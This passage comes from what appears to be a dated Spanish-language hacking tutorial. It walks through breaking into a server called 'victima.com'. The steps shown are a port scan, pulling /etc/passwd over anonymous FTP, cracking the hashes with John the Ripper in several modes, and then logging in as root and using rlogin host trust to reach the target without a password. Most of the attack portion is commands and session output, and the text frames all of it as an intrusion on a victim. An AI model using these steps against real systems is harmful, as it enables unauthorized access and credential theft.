port 70 found. Desc='gopher'
port 79 found. Desc='finger'
port 80 found. Desc='www'
port 109 found.Desc='pop'
port 110 found. Desc='pop3'
port 113 found. Desc='auth'
port 143 found.
port 513 found. Desc='login/who'
port 514 found. Desc='shell/syslog'
port 515 found. Desc='printer'
Volvemos al procedimiento anterior .. o sea a los ya repasados en el
nuemro uno .. veamos .-
Provemos el FTP !!!
C:\WINDOWS>ftp victima.com
Connected to victima.com.
220 www.victima.com FTP server (Version wu-2.4
:37:21 EST 1997) ready.
User (victima.com:(none)): anonymous
331 Guest login ok, send your complete e-mail
Password:
230-The response 'guest' is not valid
230-Next time please use your e-mail address a
230- for example: [email protected]
230-Welcome, archive user! This is an experim
230-unusual problems, please report them via e
230-If you do have problems, please try using
230-of your password -- this will turn off the
230-be confusing your ftp client.
230-
230 Guest login ok, access restrictions apply.
ftp> cd etc
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.
ftp> get passwd
200 PORT command successful.
150 Opening ASCII mode data connection for passwd (79 bytes).
226 Transfer complete.
84 bytes received in 0.05 seconds (1.68 Kbytes/sec)
ftp> by
221 Goodbye.
Mmmm lo que que acabamos de hacer fue conectarnos por Ftp con
nuestra vicitma , luego nos fuimos al subdirectorio etc y ejecutamos
un dir .. lo cual no nos mostro nada , pero de igual manera probamos
coger en passwd con el comando get y nos resulto esto significa que
el archivo passwd solo estaba oculto pero no tenia ningun derecho en
especial . Ahora solo tenemos que crackear el fichero para obtener
las contraseñas para entrar en este server . Hay muchos programas
que cumplen esta funcion pero el mas rapido y efectivo que conozco
es el John the ripper .
Como crackearlo aki van unos ejemplos --- dados por nuestro amigo
TAkER
------------------------------------------------------------------------
john -single passwd
Este metodo toma el nombre del usuario y apartir de el empieza a
buscar
haciendo diferentes
combinaciones..=====> Javier Suarez buscara Jsuarez, JavierS,
Sjavier...etc..
---------------------------------------------------------------------------------------------
john -wordfile:lista_de_palabras passwd
Este toma un archivo de palabras y lo compara contra todos los
passwd
del file a crackear
por lo tanto te toca conseguir una lista de palabras, /modo
propaganda
on/ por alla en mi
pagina en la seccion de archivos encontraras un sitio FTP donde
podras
bajar como nmil listas
de palabras pa que empieces a probar el john /modo propaganda off/
---------------------------------------------------------------------------------------------
john -incremental:all passwd
Este metodo es algo como de fuerza bruta, por que prueba todas las
combinaciones posibles y
de seguro algo conseguiras...lo malo es que es demasiado lento.
---------------------------------------------------------------------------------------------
heyyy casi lo olvido, hay una opcion buenisima...
john -restore
Inicia el john desde donde terminaste la ultima sesion, es buena en
caso
de que te toque
suspender el trabajo por algun motivo, no la he ensayado en todas,
pero
debe servir lo mismo
---------------------------------------------------------------------------------------------
Ahora ya tenemos un user y password para entrar en la maquina del
root ahora vamos al ataque .
nos logearemso al equipo del ROOT si es que las claves que crackeo
nuestro john son correctas ,
a todo esto paciencia que puede demorarse bastante en desencriptar
las password , en especial
si usas el metodo incrmental ... john -i passwd .
login:root
password:********
Welcome at .............. last login bla bla bla!!!!!
root> rlogin victima.com
...
welcome at vicitma.com ..............
Bien nos ha dado resultado !!!!
Lo que acabamos de hacer es logearnos al equipo de donde se conecta
el root , que en este caso es otro server UNIX , ya que a este fue
al cual pudimos sacarle el fichero passwd , ahora estando adentro
provamos hacer un rlogin a la maquina victima , normalmente cuando
el root se conecta desde otra maquina , para evitarse estar
introduciendo el login y passwd a cada rato , crea a su maquina en
un archivo ubicado en etc/.hosts , cuando nos referimos a maquinas
nos referimos a sus direcciones ip , es decir que si tu tienes una
cuenta shell o trabajas con linux y pudes meter tu ip en este
fichero ,al hacer un rlogin no te pedira ni login ni passwd .... Es
asi como entramos al sistema como ROOT sin correr ningun exploit
pero si con bastante trabajo como veran.
|
 |